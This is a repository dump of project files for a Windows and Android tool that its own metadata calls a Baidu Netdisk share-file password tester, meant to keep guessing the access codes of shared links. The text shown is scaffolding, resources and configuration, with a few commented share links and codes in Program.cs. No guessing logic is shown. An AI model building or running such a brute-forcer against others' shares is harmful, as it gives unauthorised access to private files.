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\r\n        m10LB/oAAAAASUVORK5CYII=\r\n</value>\r\n  </data>\r\n</root>"
  },
  {
    "path": "TestPassword V1.0.0.0/TestPassword/Program.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Windows.Forms;\r\n\r\nnamespace zgcwkj\r\n{\r\n    static class Program\r\n    {\r\n        /// <summary>\r\n        /// 应用程序的主入口点。\r\n        /// </summary>\r\n        [STAThread]\r\n        static void Main()\r\n        {\r\n            Application.EnableVisualStyles();\r\n            Application.SetCompatibleTextRenderingDefault(false);\r\n            Application.Run(new Main());\r\n\r\n            //https://pan.baidu.com/share/init?surl=dFlOQid\r\n            //lzte\r\n            //https://pan.baidu.com/s/1bEeTsU\r\n            //ebdf\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "TestPassword V1.0.0.0/TestPassword/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\r\nusing System.Runtime.CompilerServices;\r\nusing System.Runtime.InteropServices;\r\n\r\n// 有关程序集的一般信息由以下\r\n// 控制。更改这些特性值可修改\r\n// 与程序集关联的信息。\r\n[assembly: AssemblyTitle(\"百度网盘分享文件密码测试器\")]\r\n[assembly: AssemblyDescription(\"百度网盘分享文件密码进行无穷测试工具\")]\r\n[assembly: AssemblyConfiguration(\"\")]\r\n[assembly: AssemblyCompany(\"zgcwkj\")]\r\n[assembly: AssemblyProduct(\"百度网盘分享文件密码测试器\")]\r\n[assembly: AssemblyCopyright(\"Copyright ©  2017\")]\r\n[assembly: AssemblyTrademark(\"zgcwkj\")]\r\n[assembly: AssemblyCulture(\"\")]\r\n\r\n//将 ComVisible 设置为 false 将使此程序集中的类型\r\n//对 COM 组件不可见。  如果需要从 COM 访问此程序集中的类型，\r\n//请将此类型的 ComVisible 特性设置为 true。\r\n[assembly: ComVisible(false)]\r\n\r\n// 如果此项目向 COM 公开，则下列 GUID 用于类型库的 ID\r\n[assembly: Guid(\"ac42684f-60e0-464c-881d-b679da8d8a7b\")]\r\n\r\n// 程序集的版本信息由下列四个值组成: \r\n//\r\n//      主版本\r\n//      次版本\r\n//      生成号\r\n//      修订号\r\n//\r\n//可以指定所有这些值，也可以使用“生成号”和“修订号”的默认值，\r\n// 方法是按如下所示使用“*”: :\r\n// [assembly: AssemblyVersion(\"1.0.*\")]\r\n[assembly: AssemblyVersion(\"1.0.0.0\")]\r\n[assembly: AssemblyFileVersion(\"1.0.0.0\")]\r\n"
  },
  {
    "path": "TestPassword V1.0.0.0/TestPassword/Properties/Resources.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     此代码由工具生成。\r\n//     运行时版本:4.0.30319.42000\r\n//\r\n//     对此文件的更改可能会导致不正确的行为，并且如果\r\n//     重新生成代码，这些更改将会丢失。\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace zgcwkj.Properties {\r\n    using System;\r\n    \r\n    \r\n    /// <summary>\r\n    ///   一个强类型的资源类，用于查找本地化的字符串等。\r\n    /// </summary>\r\n    // 此类是由 StronglyTypedResourceBuilder\r\n    // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。\r\n    // 若要添加或移除成员，请编辑 .ResX 文件，然后重新运行 ResGen\r\n    // (以 /str 作为命令选项)，或重新生成 VS 项目。\r\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"System.Resources.Tools.StronglyTypedResourceBuilder\", \"4.0.0.0\")]\r\n    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]\r\n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\r\n    internal class Resources {\r\n        \r\n        private static global::System.Resources.ResourceManager resourceMan;\r\n        \r\n        private static global::System.Globalization.CultureInfo resourceCulture;\r\n        \r\n        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Performance\", \"CA1811:AvoidUncalledPrivateCode\")]\r\n        internal Resources() {\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   返回此类使用的缓存的 ResourceManager 实例。\r\n        /// </summary>\r\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\r\n        internal static global::System.Resources.ResourceManager ResourceManager {\r\n            get {\r\n                if (object.ReferenceEquals(resourceMan, null)) {\r\n                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager(\"zgcwkj.Properties.Resources\", typeof(Resources).Assembly);\r\n                    resourceMan = temp;\r\n                }\r\n                return resourceMan;\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   使用此强类型资源类，为所有资源查找\r\n        ///   重写当前线程的 CurrentUICulture 属性。\r\n        /// </summary>\r\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\r\n        internal static global::System.Globalization.CultureInfo Culture {\r\n            get {\r\n                return resourceCulture;\r\n            }\r\n            set {\r\n                resourceCulture = value;\r\n            }\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "TestPassword V1.0.0.0/TestPassword/Properties/Resources.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<root>\r\n  <!-- \r\n    Microsoft ResX Schema \r\n    \r\n    Version 2.0\r\n    \r\n    The primary goals of this format is to allow a simple XML format \r\n    that is mostly human readable. The generation and parsing of the \r\n    various data types are done through the TypeConverter classes \r\n    associated with the data types.\r\n    \r\n    Example:\r\n    \r\n    ... ado.net/XML headers & schema ...\r\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\r\n    <resheader name=\"version\">2.0</resheader>\r\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\r\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\r\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\r\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\r\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\r\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\r\n    </data>\r\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\r\n        <comment>This is a comment</comment>\r\n    </data>\r\n                \r\n    There are any number of \"resheader\" rows that contain simple \r\n    name/value pairs.\r\n    \r\n    Each data row contains a name, and value. The row also contains a \r\n    type or mimetype. Type corresponds to a .NET class that support \r\n    text/value conversion through the TypeConverter architecture. \r\n    Classes that don't support this are serialized and stored with the \r\n    mimetype set.\r\n    \r\n    The mimetype is used for serialized objects, and tells the \r\n    ResXResourceReader how to depersist the object. This is currently not \r\n    extensible. For a given mimetype the value must be set accordingly:\r\n    \r\n    Note - application/x-microsoft.net.object.binary.base64 is the format \r\n    that the ResXResourceWriter will generate, however the reader can \r\n    read any of the formats listed below.\r\n    \r\n    mimetype: application/x-microsoft.net.object.binary.base64\r\n    value   : The object must be serialized with \r\n            : System.Serialization.Formatters.Binary.BinaryFormatter\r\n            : and then encoded with base64 encoding.\r\n    \r\n    mimetype: application/x-microsoft.net.object.soap.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\r\n            : and then encoded with base64 encoding.\r\n\r\n    mimetype: application/x-microsoft.net.object.bytearray.base64\r\n    value   : The object must be serialized into a byte array \r\n            : using a System.ComponentModel.TypeConverter\r\n            : and then encoded with base64 encoding.\r\n    -->\r\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\r\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\r\n      <xsd:complexType>\r\n        <xsd:choice maxOccurs=\"unbounded\">\r\n          <xsd:element name=\"metadata\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"assembly\">\r\n            <xsd:complexType>\r\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"data\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" msdata:Ordinal=\"1\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"resheader\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n        </xsd:choice>\r\n      </xsd:complexType>\r\n    </xsd:element>\r\n  </xsd:schema>\r\n  <resheader name=\"resmimetype\">\r\n    <value>text/microsoft-resx</value>\r\n  </resheader>\r\n  <resheader name=\"version\">\r\n    <value>2.0</value>\r\n  </resheader>\r\n  <resheader name=\"reader\">\r\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <resheader name=\"writer\">\r\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n</root>"
  },
  {
    "path": "TestPassword V1.0.0.0/TestPassword/Properties/Settings.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     此代码由工具生成。\r\n//     运行时版本:4.0.30319.42000\r\n//\r\n//     对此文件的更改可能会导致不正确的行为，并且如果\r\n//     重新生成代码，这些更改将会丢失。\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace zgcwkj.Properties {\r\n    \r\n    \r\n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\r\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator\", \"14.0.0.0\")]\r\n    internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {\r\n        \r\n        private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));\r\n        \r\n        public static Settings Default {\r\n            get {\r\n                return defaultInstance;\r\n            }\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "TestPassword V1.0.0.0/TestPassword/Properties/Settings.settings",
    "content": "﻿<?xml version='1.0' encoding='utf-8'?>\r\n<SettingsFile xmlns=\"http://schemas.microsoft.com/VisualStudio/2004/01/settings\" CurrentProfile=\"(Default)\">\r\n  <Profiles>\r\n    <Profile Name=\"(Default)\" />\r\n  </Profiles>\r\n  <Settings />\r\n</SettingsFile>\r\n"
  },
  {
    "path": "TestPassword V1.0.0.0/TestPassword/StaticClass.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Text;\r\n\r\nnamespace zgcwkj\r\n{\r\n    /// <summary>\r\n    /// 静态类\r\n    /// </summary>\r\n    public static class StaticClass\r\n    {\r\n        /// <summary>\r\n        /// 线程状态\r\n        /// </summary>\r\n        public static bool status { get; set; }\r\n        /// <summary>\r\n        /// 目标连接\r\n        /// </summary>\r\n        public static string url { get; set; }\r\n        /// <summary>\r\n        /// 日记的文件名称\r\n        /// </summary>\r\n        public static string Folder { get; set; }\r\n\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.0.0.0/TestPassword/TestPassword.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"14.0\" DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\r\n  <PropertyGroup>\r\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\r\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\r\n    <ProjectGuid>{AC42684F-60E0-464C-881D-B679DA8D8A7B}</ProjectGuid>\r\n    <OutputType>WinExe</OutputType>\r\n    <AppDesignerFolder>Properties</AppDesignerFolder>\r\n    <RootNamespace>zgcwkj</RootNamespace>\r\n    <AssemblyName>百度网盘分享文件密码测试器</AssemblyName>\r\n    <TargetFrameworkVersion>v4.0</TargetFrameworkVersion>\r\n    <FileAlignment>512</FileAlignment>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\r\n    <PlatformTarget>AnyCPU</PlatformTarget>\r\n    <DebugSymbols>true</DebugSymbols>\r\n    <DebugType>full</DebugType>\r\n    <Optimize>false</Optimize>\r\n    <OutputPath>bin\\Debug\\</OutputPath>\r\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\r\n    <ErrorReport>prompt</ErrorReport>\r\n    <WarningLevel>4</WarningLevel>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\r\n    <PlatformTarget>AnyCPU</PlatformTarget>\r\n    <DebugType>pdbonly</DebugType>\r\n    <Optimize>true</Optimize>\r\n    <OutputPath>bin\\Release\\</OutputPath>\r\n    <DefineConstants>TRACE</DefineConstants>\r\n    <ErrorReport>prompt</ErrorReport>\r\n    <WarningLevel>4</WarningLevel>\r\n  </PropertyGroup>\r\n  <PropertyGroup>\r\n    <ApplicationIcon>ico.ico</ApplicationIcon>\r\n  </PropertyGroup>\r\n  <ItemGroup>\r\n    <Reference Include=\"System\" />\r\n    <Reference Include=\"System.Core\" />\r\n    <Reference Include=\"System.Xml.Linq\" />\r\n    <Reference Include=\"System.Data.DataSetExtensions\" />\r\n    <Reference Include=\"Microsoft.CSharp\" />\r\n    <Reference Include=\"System.Data\" />\r\n    <Reference Include=\"System.Deployment\" />\r\n    <Reference Include=\"System.Drawing\" />\r\n    <Reference Include=\"System.Windows.Forms\" />\r\n    <Reference Include=\"System.Xml\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Compile Include=\"Access.cs\" />\r\n    <Compile Include=\"GoFind.cs\" />\r\n    <Compile Include=\"Hash.cs\" />\r\n    <Compile Include=\"Main.cs\">\r\n      <SubType>Form</SubType>\r\n    </Compile>\r\n    <Compile Include=\"Main.Designer.cs\">\r\n      <DependentUpon>Main.cs</DependentUpon>\r\n    </Compile>\r\n    <Compile Include=\"Program.cs\" />\r\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\r\n    <Compile Include=\"StaticClass.cs\" />\r\n    <EmbeddedResource Include=\"Main.resx\">\r\n      <DependentUpon>Main.cs</DependentUpon>\r\n    </EmbeddedResource>\r\n    <EmbeddedResource Include=\"Properties\\Resources.resx\">\r\n      <Generator>ResXFileCodeGenerator</Generator>\r\n      <LastGenOutput>Resources.Designer.cs</LastGenOutput>\r\n      <SubType>Designer</SubType>\r\n    </EmbeddedResource>\r\n    <Compile Include=\"Properties\\Resources.Designer.cs\">\r\n      <AutoGen>True</AutoGen>\r\n      <DependentUpon>Resources.resx</DependentUpon>\r\n      <DesignTime>True</DesignTime>\r\n    </Compile>\r\n    <None Include=\"Properties\\Settings.settings\">\r\n      <Generator>SettingsSingleFileGenerator</Generator>\r\n      <LastGenOutput>Settings.Designer.cs</LastGenOutput>\r\n    </None>\r\n    <Compile Include=\"Properties\\Settings.Designer.cs\">\r\n      <AutoGen>True</AutoGen>\r\n      <DependentUpon>Settings.settings</DependentUpon>\r\n      <DesignTimeSharedInput>True</DesignTimeSharedInput>\r\n    </Compile>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Content Include=\"ico.ico\" />\r\n  </ItemGroup>\r\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\r\n  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. \r\n       Other similar extension points exist, see Microsoft.Common.targets.\r\n  <Target Name=\"BeforeBuild\">\r\n  </Target>\r\n  <Target Name=\"AfterBuild\">\r\n  </Target>\r\n  -->\r\n</Project>"
  },
  {
    "path": "TestPassword V1.0.0.0/TestPassword.sln",
    "content": "﻿\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio 14\r\nVisualStudioVersion = 14.0.23107.0\r\nMinimumVisualStudioVersion = 10.0.40219.1\r\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"TestPassword\", \"TestPassword\\TestPassword.csproj\", \"{AC42684F-60E0-464C-881D-B679DA8D8A7B}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Any CPU = Debug|Any CPU\r\n\t\tRelease|Any CPU = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/.gitignore",
    "content": "*.iml\n.gradle\n/local.properties\n/.idea/workspace.xml\n/.idea/libraries\n.DS_Store\n/build\n/captures\n.externalNativeBuild\n"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/.idea/gradle.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"GradleSettings\">\n    <option name=\"linkedExternalProjectsSettings\">\n      <GradleProjectSettings>\n        <option name=\"distributionType\" value=\"DEFAULT_WRAPPED\" />\n        <option name=\"externalProjectPath\" value=\"$PROJECT_DIR$\" />\n        <option name=\"modules\">\n          <set>\n            <option value=\"$PROJECT_DIR$\" />\n            <option value=\"$PROJECT_DIR$/app\" />\n          </set>\n        </option>\n        <option name=\"resolveModulePerSourceSet\" value=\"false\" />\n      </GradleProjectSettings>\n    </option>\n  </component>\n</project>"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/.idea/misc.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"NullableNotNullManager\">\n    <option name=\"myDefaultNullable\" value=\"android.support.annotation.Nullable\" />\n    <option name=\"myDefaultNotNull\" value=\"android.support.annotation.NonNull\" />\n    <option name=\"myNullables\">\n      <value>\n        <list size=\"4\">\n          <item index=\"0\" class=\"java.lang.String\" itemvalue=\"org.jetbrains.annotations.Nullable\" />\n          <item index=\"1\" class=\"java.lang.String\" itemvalue=\"javax.annotation.Nullable\" />\n          <item index=\"2\" class=\"java.lang.String\" itemvalue=\"edu.umd.cs.findbugs.annotations.Nullable\" />\n          <item index=\"3\" class=\"java.lang.String\" itemvalue=\"android.support.annotation.Nullable\" />\n        </list>\n      </value>\n    </option>\n    <option name=\"myNotNulls\">\n      <value>\n        <list size=\"4\">\n          <item index=\"0\" class=\"java.lang.String\" itemvalue=\"org.jetbrains.annotations.NotNull\" />\n          <item index=\"1\" class=\"java.lang.String\" itemvalue=\"javax.annotation.Nonnull\" />\n          <item index=\"2\" class=\"java.lang.String\" itemvalue=\"edu.umd.cs.findbugs.annotations.NonNull\" />\n          <item index=\"3\" class=\"java.lang.String\" itemvalue=\"android.support.annotation.NonNull\" />\n        </list>\n      </value>\n    </option>\n  </component>\n  <component name=\"ProjectInspectionProfilesVisibleTreeState\">\n    <entry key=\"Project Default\">\n      <profile-state>\n        <expanded-state>\n          <State>\n            <id />\n          </State>\n        </expanded-state>\n        <selected-state>\n          <State>\n            <id>Android</id>\n          </State>\n        </selected-state>\n      </profile-state>\n    </entry>\n  </component>\n  <component name=\"ProjectRootManager\" version=\"2\" languageLevel=\"JDK_1_7\" project-jdk-name=\"1.8\" project-jdk-type=\"JavaSDK\">\n    <output url=\"file://$PROJECT_DIR$/build/classes\" />\n  </component>\n  <component name=\"ProjectType\">\n    <option name=\"id\" value=\"Android\" />\n  </component>\n  <component name=\"masterDetails\">\n    <states>\n      <state key=\"ScopeChooserConfigurable.UI\">\n        <settings>\n          <splitter-proportions>\n            <option name=\"proportions\">\n              <list>\n                <option value=\"0.2\" />\n              </list>\n            </option>\n          </splitter-proportions>\n        </settings>\n      </state>\n    </states>\n  </component>\n</project>"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/.idea/modules.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"ProjectModuleManager\">\n    <modules>\n      <module fileurl=\"file://$PROJECT_DIR$/TestPassword.iml\" filepath=\"$PROJECT_DIR$/TestPassword.iml\" />\n      <module fileurl=\"file://$PROJECT_DIR$/app/app.iml\" filepath=\"$PROJECT_DIR$/app/app.iml\" />\n    </modules>\n  </component>\n</project>"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/.idea/runConfigurations.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"RunConfigurationProducerService\">\n    <option name=\"ignoredProducers\">\n      <set>\n        <option value=\"org.jetbrains.plugins.gradle.execution.test.runner.AllInPackageGradleConfigurationProducer\" />\n        <option value=\"org.jetbrains.plugins.gradle.execution.test.runner.TestClassGradleConfigurationProducer\" />\n        <option value=\"org.jetbrains.plugins.gradle.execution.test.runner.TestMethodGradleConfigurationProducer\" />\n      </set>\n    </option>\n  </component>\n</project>"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/app/.gitignore",
    "content": "/build\n"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/app/build.gradle",
    "content": "apply plugin: 'com.android.application'\n\nandroid {\n    compileSdkVersion 26\n    defaultConfig {\n        applicationId \"com.zgcwkj.baidupantest.testpassword\"\n        minSdkVersion 15\n        targetSdkVersion 26\n        versionCode 1\n        versionName \"1.0\"\n        testInstrumentationRunner \"android.support.test.runner.AndroidJUnitRunner\"\n    }\n    buildTypes {\n        release {\n            minifyEnabled false\n            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n        }\n    }\n}\n\ndependencies {\n    implementation fileTree(dir: 'libs', include: ['*.jar'])\n    implementation 'com.android.support:appcompat-v7:26.1.0'\n    implementation 'com.android.support.constraint:constraint-layout:1.1.0'\n    testImplementation 'junit:junit:4.12'\n    androidTestImplementation 'com.android.support.test:runner:1.0.2'\n    androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2'\n}\n"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/app/proguard-rules.pro",
    "content": "# Add project specific ProGuard rules here.\n# You can control the set of applied configuration files using the\n# proguardFiles setting in build.gradle.\n#\n# For more details, see\n#   http://developer.android.com/guide/developing/tools/proguard.html\n\n# If your project uses WebView with JS, uncomment the following\n# and specify the fully qualified class name to the JavaScript interface\n# class:\n#-keepclassmembers class fqcn.of.javascript.interface.for.webview {\n#   public *;\n#}\n\n# Uncomment this to preserve the line number information for\n# debugging stack traces.\n#-keepattributes SourceFile,LineNumberTable\n\n# If you keep the line number information, uncomment this to\n# hide the original source file name.\n#-renamesourcefileattribute SourceFile\n"
  },
  {
    "path": "TestPassword V1.0.0.0 APK/app/src/androidTest/java/com/zgcwkj/baidupantest/testpassword/ExampleInstrumentedTest.java",
    "content": "package com.zgcwkj.baidupantest.testpassword;\n\nimport android.content.Context;\nimport android.support.test.InstrumentationRegistry;\nimport android.support.test.runner.AndroidJUnit4;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\n\nimport static org.junit.Assert.*;\n\n/**\n * Instrumented test, which will execute on an Android device.\n *\n * @see <a href=\"http://d.android.com/tools/testing\">Testing documentation</a>\n */\n@RunWith(AndroidJUnit4.class)\npublic class ExampleInstrumentedTest {\n    @Test\n    public void useAppContext() throws Exception {\n        // Context of the app under test.\n        Context appContext = InstrumentationRegistry.getTargetContext();\n\n        assertEquals(\"com.zgcwkj.baidupantest.testpassword\", appContext.getPackageName());\n    }\n}\n"
  },
